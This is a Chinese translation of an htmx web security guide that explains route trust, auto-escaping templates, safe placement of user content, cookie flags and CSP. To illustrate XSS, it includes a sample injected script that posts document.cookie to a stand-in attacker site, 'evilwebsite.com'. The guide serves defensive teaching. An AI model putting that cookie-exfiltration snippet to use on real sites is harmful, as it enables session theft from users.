Web 安全基础(htmx)

Alexander Petros

随着 htmx 的普及,它已经触达了从未编写过服务器生成 HTML 的社区。动态 HTML 模板一直是,也是至今仍是许多流行的 Web 框架(如 Rails、Django 和 Spring)使用的一种标准方法,但对于来自单页应用程序 (SPA) 框架(如 React 和 Svelte)的用户来说,这是一个新概念,在这些框架中,JSX 的普遍使用意味着你从未直接编写过 HTML。

但不要害怕!使用 HTML 模板编写 Web 应用程序的安全模型略有不同,但它并不比保护基于 JSX 的应用程序更难,在某些方面甚至更容易。

#本指南针对谁?

这些是 htmx 的 Web 安全基础知识,但它们(大多)不是 htmx 特定的——如果你在 Web 上发布任何动态、用户生成的内容,那么了解这些概念非常重要。

对于本指南,你应该已经基本了解 Web 语义,并熟悉如何编写后端服务器(使用任何语言)。例如,你应该知道不要创建可以更改后端状态的 GET 路由。我们还假设你没有做任何特别花哨的事情,比如创建一个托管其他网站的网站。如果你正在做类似的事情,你需要了解的安全概念远远超出了本指南的范围。

为了针对最广泛的受众,我们做了这些简化的假设,没有包含令人分心 的信息——显然这无法涵盖所有人。没有任何安全指南是完全全面的。如果你认为存在错误或明显的漏洞,我们应该提到,请随时联系我们,我们会更新它。

#黄金法则

遵循这四个简单规则,你将遵循客户端安全最佳实践

  1. 只调用你控制的路由
  2. 始终使用自动转义模板引擎
  3. 只在 HTML 标签内提供用户生成的内容
  4. 如果你有身份验证 cookie,请使用 SecureHttpOnlySameSite=Lax 设置它们

在接下来的部分中,我将讨论每条规则的作用以及它可以防止哪种攻击。绝大多数 htmx 用户——那些使用 htmx 来构建允许用户登录、查看某些数据并更新数据的网站的用户——不应该有任何理由打破这些规则。

稍后我会讨论如何打破其中一些规则。可以在这些约束下构建许多有用的应用程序,但如果你确实需要更高级的行为,你将在充分了解你正在增加保护应用程序的 概念负担的情况下进行操作。在这个过程中,你将学到很多关于 Web 安全的知识。

#理解这些规则

#只调用你控制的路由

这是最基本、最重要的规则:不要使用 htmx 调用不受信任的路由。

在实践中,这意味着你应该只使用相对 URL。以下情况是可以的

<button hx-get="/events">Search events</button>

但以下情况是不允许的

<button hx-get="https://google.com/search?q=events">Search events</button>

原因很简单:htmx 将来自该路由的响应直接插入用户的页面。如果响应包含恶意 <script>,则该脚本可以窃取用户的数据。当你无法控制该路由时,你无法保证控制该路由的人不会添加恶意脚本。

幸运的是,这是一个很容易遵循的规则。超媒体 API(即 HTML)特定于你的应用程序的布局,因此几乎没有理由将其他人的 HTML 插入你的页面。你只需要确保你只调用自己的路由(htmx 2 实际上默认情况下会禁用调用其他域)。

尽管现在并不流行,但一个常见的 SPA 模式是将前端和后端分离到不同的存储库中,有时甚至从不同的 URL 提供服务。这将需要在前端使用绝对 URL,并且经常禁用 CORS。使用 htmx(公平地说,还有使用 NextJS 的现代 React)这是一个反模式。

相反,你只需从与你的后端相同的服务器(至少是相同域)提供你的 HTML 前端,其他所有事情都会自动完成:你可以使用相对 URL,你永远不会遇到 CORS 问题,你永远不会调用其他人的后端。

htmx 执行 HTML;HTML 是代码;永远不要执行不受信任的代码。

#始终使用自动转义模板引擎

当你向用户发送 HTML 时,所有动态内容都必须进行转义。使用模板引擎构建你的响应,并确保自动转义已启用。

幸运的是,所有模板引擎都支持转义 HTML,而且大多数模板引擎默认情况下会启用它。以下只是一些示例。

语言模板引擎默认情况下转义 HTML?
JavaScriptNunjucks
JavaScriptEJS是,使用 <%= %>
PythonDTL
PythonJinja有时(是,在 Flask 中)
RubyERB是,使用 <%= %>
PHPBlade
Gohtml/template
JavaThymeleaf
RustTera

这种漏洞通常被称为跨站脚本 (XSS) 攻击,这是一个广泛使用的术语,指的是将任何意外内容注入你的网页的行为。通常,攻击者使用你的 API 将恶意代码存储在你的数据库中,然后你将其提供给请求该信息的 其他用户。

例如,假设你正在构建一个约会网站,它允许用户分享他们自己的简短介绍。你会像这样呈现该介绍,其中 {{ user.bio }} 是存储在数据库中的介绍

<p>
{{ user.bio }}
</p>

如果恶意用户使用脚本元素编写了一个介绍——比如一个将客户端 cookie 发送到另一个网站的介绍——那么这个 HTML 将被发送给所有查看该介绍的用户

<p>
<script>
  fetch('evilwebsite.com', { method: 'POST', body: document.cookie })
</script>
</p>

幸运的是,这个问题非常容易解决,你可以自己编写代码。每当你插入不受信任(即用户提供)的数据时,你只需要将八个字符替换为它们的非代码等效字符。以下是一个使用 JavaScript 的示例

/**
 * Replace any characters that could be used to inject a malicious script in an HTML context.
 */
export function escapeHtmlText (value) {
  const stringValue = value.toString()
  const entityMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;',
    '`': '&grave;',
    '=': '&#x3D;'
  }

  // Match any of the characters inside /[ ... ]/
  const regex = /[&<>"'`=/]/g
  return stringValue.replace(regex, match => entityMap[match])
}

这个小小的 JS 函数将 < 替换为 &lt;,将 " 替换为 &quot;,等等。当这些字符用在文本中时,它们仍然会正确地显示为 <",但不能被解释为代码构造。之前的恶意介绍现在将被转换为以下 HTML

<p>
&lt;script&gt;
  fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, data: document.cookie })
&lt;/script&gt;
</p>

它会无害地显示为文本。

幸运的是,如上所述,你不必手动进行转义——我只是想演示这些概念有多简单。每个模板引擎都有一个自动转义功能,并且你无论如何都要使用模板引擎。只要确保转义已启用,并将所有 HTML 通过它发送。

#只在 HTML 标签内提供用户生成的内容

这是对模板引擎规则的补充,但它足够重要,需要单独说明。不要允许你的用户定义任意的 CSS 或 JS 内容,即使使用你的自动转义模板引擎。

<!-- Don't include inside script tags -->
<script>
  const userName = {{ user.name }}
</script>

<!-- Don't include inside CSS tags -->
<style>
  h1 { color: {{ user.favorite_color }} }
</style>

并且,也不要使用用户定义的属性或标签名称

<!-- Don't allow user-defined tag names -->
<{{ user.tag }}></{{ user.tag }}>

<!-- Don't allow user-defined attributes -->
<a {{ user.attribute }}></a>

<!-- User-defined attribute VALUES are sometimes okay, it depends -->
<a class="{{ user.class }}"></a>

<!-- Escaped content is always safe inside HTML tags (this is fine) -->
<a>{{ user.name }}</a>

CSS、JavaScript 和 HTML 属性是“危险上下文”,在这些地方,不允许任意用户输入是不安全的,即使它已转义。转义可以保护你免受这里的一些漏洞,但并非所有漏洞;这些漏洞种类繁多,因此最安全的做法是默认情况下不执行任何这些操作。

将用户生成的内容直接插入脚本标签通常是不必要的,但有时你可能希望让用户自定义他们的 CSS 或自定义 HTML 属性。下面将讨论如何正确处理这些情况。

#保护你的 cookie

使用 htmx 进行身份验证的最佳方法是使用 cookie。并且由于 htmx 主要通过第一方 HTML API 鼓励交互,因此通常很容易启用浏览器的最佳 cookie 安全功能。以下三种功能尤其重要

为了理解这些措施可以保护你免受哪些攻击,让我们了解一下 cookie 的基本原理。如果你来自 JavaScript SPA,在这些 SPA 中,使用 Authorization 标头进行身份验证很常见,你可能不熟悉 cookie 的工作原理。幸运的是,它们非常简单。(请注意:这不是“使用 htmx 进行身份验证”的教程,而只是对 cookie 令牌的概览)

如果你的用户使用 <form> 登录,他们的浏览器会向你的服务器发送一个 HTTP 请求,你的服务器会发送一个类似于以下内容的响应

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982

[HTML content]

该令牌对应于用户的当前登录会话。从现在开始,每次该用户向 yourdomain.com 的任何路由发出请求时,浏览器都会将来自 Set-Cookie 的 cookie 包含在 HTTP 请求中。

GET /users HTTP/1.1
Host: yourdomain.com
Cookie: token=asd8234nsdfp982

每次有人向你的服务器发出请求时,都需要解析该令牌并确定它是否有效。很简单。

你还可以设置该 cookie 的选项,比如我上面推荐的选项。如何设置取决于编程语言,但结果始终是一个类似于以下内容的 HTTP 响应

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax

[HTML content]

那么这些选项的作用是什么呢?

第一个选项 Secure 确保浏览器不会通过不安全的 HTTP 连接发送 cookie,而只通过安全的 HTTPS 连接发送。敏感信息,比如用户的登录令牌,永远不应该通过不安全的连接发送。

第二个选项 HttpOnly 意味着浏览器永远不会将 cookie 公开给 JavaScript(即它不会在 document.cookie 中)。即使有人能够插入恶意脚本,比如上面 evilwebsite.com 的示例中,该恶意脚本也无法访问用户的 cookie 或将其发送到 evilwebsite.com。浏览器只会在向 cookie 所来自的网站发出请求时附加 cookie。

最后,SameSite=Lax 锁定了一种跨站请求伪造 (CSRF) 攻击,攻击者试图让客户端的浏览器向 yourdomain.com 服务器发出恶意请求——比如 POST 请求。SameSite=Lax 设置告诉浏览器,如果发出请求的网站不是 yourdomain.com,则不要发送 yourdomain.com cookie——除非它是一个简单的 <a> 链接,用于导航到你的页面。现在这大多是浏览器的默认行为,但直接设置它仍然很重要。

在 2024 年,SameSite=Lax 通常足以防止 CSRF 攻击,但对于更敏感或更复杂的情况,您也可以考虑使用其他一些缓解措施

重要说明:SameSite=Lax 只能在域名级别保护您,不能在子域名级别保护您(例如 yourdomain.com,而不是 yoursite.github.io)。如果您正在进行用户登录,您应该始终在生产环境中使用自己的域名进行登录。有时公共后缀列表 会保护您,但您不应该依赖它。

#打破规则

我们从最简单、最安全的做法开始 - 这样,错误会导致用户体验受损,可以修复,而不是数据被盗,无法修复。

一些 Web 应用程序需要更复杂的功能,以及更多用户自定义选项;它们还需要更复杂的安全性机制。您应该只有在确信绝对有必要,并且所需的功能无法通过其他方式实现时,才打破这些规则。

#调用不可信的 API

调用不可信的 HTML API 是疯狂的。永远不要这样做。

在某些情况下,您可能希望从客户端调用其他人的 JSON API,这很好,因为 JSON 无法执行任意脚本。在这种情况下,您可能希望对这些数据做些处理,将其转换为 HTML。不要使用 htmx 来执行此操作 - 使用 fetchJSON.parse();如果不可信的 API 进行了欺骗,返回的是 HTML 而不是 JSON,JSON.parse() 就会无害地失败。

请记住,您解析的 JSON 可能有一个格式为 HTML 的属性

{ "name": "<script>alert('Hahaha I am a script')</script>" }

因此,也不要将 JSON 值插入为 HTML - 如果您要执行此操作,请使用 textContent。但这已经超出了 htmx 控制的 UI 范围。

htmx 的 2.0 版本将包含一个 textContent 交换,如果您想直接从客户端调用其他人的 API,并将该文本放入页面中。

#自定义 HTML 控件

与调用不可信的 HTML 路由不同,有很多充分的理由让用户进行动态 HTML 格式的内容。

例如,您是否希望让用户链接到图像?

<img src="{{ user.fav_img }}">

或者链接到他们的个人网站?

<a href="{{ user.fav_link }}">

默认的“转义所有内容”方法会转义正斜杠,因此会破坏用户提交的 URL。

您可以通过几种方法解决这个问题。最简单也是最安全的方法是让用户自定义这些值,但不要让他们定义文字内容。在图像示例中,您可以将图像上传到自己的服务器(或 S3 存储桶等),自行生成链接,然后将其包含在内,不进行转义。在 nunjucks 中,您可以使用safe 函数。

<img src="{{ user.fav_img_s3_url | safe }}">

是的,您包含了未转义的内容,但它是您生成的链接,因此您知道它是安全的。

您可以以相同的方式处理自定义 CSS。与其让用户直接指定颜色,不如给他们一些有限的选择,并根据他们的输入设置选择。

{% if user.favorite_color === 'red' %}
h1 { color: 'red'; }
{% else %}
h1 { color: 'blue'; }
{% endif %}

在这个例子中,用户可以将 favorite_color 设置为他们喜欢的任何值,但它永远不会是除了红色或蓝色以外的任何东西。一个不太简单的例子可能确保只能输入格式正确的十六进制代码,使用正则表达式。您明白我的意思。

根据您支持的自定义类型,保护它可能相对容易,也可能非常困难。有些属性是“安全接收器,”这意味着它们的 value 永远不会被解释为代码;这些属性很容易保护。如果您要将动态输入包含在“危险上下文,”中,您需要研究这些上下文的危险之处,并确保此类输入不会进入文档。

例如,如果您想让用户链接到任意网站或图像,那就复杂得多。首先,确保将属性放在引号内(大多数人都会这样做)。然后,您需要做一些事情,比如编写一个自定义转义函数,该函数转义所有内容除了正斜杠(以及可能还有和号),以便链接可以正常工作。

但即使您正确地执行了此操作,您也引入了一些新的安全挑战。该图像链接可用于跟踪您的用户,因为您的用户将直接从其他人的服务器请求该链接。也许您对此无所谓,也许您包括其他缓解措施。重要的是,您要意识到引入这种级别的自定义会带来更困难的安全模型,如果您没有带宽来研究和测试它,就不要这样做。

JavaScript SPA 有时通过将令牌保存在客户端的本地存储中,然后将其添加到每个请求的Authorization 标头 中进行身份验证。不幸的是,没有办法在不使用 JavaScript 的情况下设置 Authorization 标头,这并不安全;如果您的受信任的 JavaScript 可以访问它,那么攻击者如果设法将恶意脚本放到您的页面上,也可以访问它。相反,使用 cookie(具有上述属性),它可以在不接触 JavaScript 的情况下设置和保护。

为什么有 Authorization 标头,但没有办法使用超媒体控件设置它?好吧,这只是 WHATWG 的令人发指的遗漏小秘密之一。

如果您使用的是您无法控制的 API 对用户的客户端进行身份验证,您可能需要使用 Authorization 标头,在这种情况下,关于您无法控制的路由的常规预防措施适用。

#额外:内容安全策略

您还应该了解内容安全策略 (CSP),它使用 HTTP 标头来设置有关页面允许运行的类型的内容的规则。例如,您可以将页面限制为仅从您的域加载图像,或者禁用内联脚本。

这不是黄金法则之一,因为它并不像普遍应用那样容易。没有“一刀切”的 CSP。一些 htmx 应用程序使用内联脚本 -hx-on 属性 是一个通用的属性监听器,可以评估任意脚本(尽管它可以禁用,如果您不需要它)。有时内联脚本适合保持行为的局部性 在一个针对 XSS 攻击足够安全的应用程序上,有时内联脚本不是必需的,您可以采用更严格的 CSP。这一切都取决于您应用程序的安全配置文件 - 您需要了解可用的选项,并能够执行分析。

#这是倒退吗?

您可能会合理地怀疑:如果我在构建 SPA 时不需要知道这些东西,那么 htmx 在安全性方面是否倒退了?我们对这句话的两个部分都提出异议。

本文并非旨在为 htmx 的安全特性辩护,但超媒体应用程序在很多方面默认情况下比基于 JSON 的前端更安全。HTML API 只返回应该呈现的信息 - 意外数据更容易“隐藏”在 JSON 响应中并泄露给用户。超媒体 API 也不适合在客户端实现像 GraphQL 这样的通用查询语言,这需要极其复杂的安全性模型。各种缺陷都隐藏在应用程序的复杂性中;超媒体应用程序通常更简单,因此更容易保护。

如果您要在 Web 上放置动态内容,那么您还需要了解 XSS 攻击。一个不了解 XSS 工作原理的开发者将不会理解使用 React 的dangerouslySetInnerHTML 的危险之处 - 他们将在第一次需要呈现富文本用户生成内容时使用它。库有责任使这些安全基础知识尽可能容易找到;开发者始终有责任学习和遵循它们。

本文的组织方式是为了让保护 htmx 应用程序成为“成功的陷阱” - 遵循这些简单的规则,您不太可能编码 XSS 漏洞。但要编写一个在拒绝学习任何安全知识的开发人员手中是安全的库是不可能的,因为安全是关于控制对信息的访问,而始终是人类的工作来向计算机准确地解释谁可以访问哪些信息。

编写安全的 Web 应用程序很难。在路由、数据库访问、HTML 模板、业务逻辑等方面有很多容易出现的陷阱。然而,如果安全只是安全专家的领域,那么只有安全专家应该制作 Web 应用程序。也许应该这样!但如果只有安全专家制作 Web 应用程序,他们肯定知道如何正确使用模板引擎,因此 htmx 对他们来说不成问题。

对其他人来说

  1. 不要调用不可信的路由
  2. 使用自动转义的模板引擎
  3. 只将用户生成的内容放在 HTML 标签内
  4. 保护您的 cookie
</>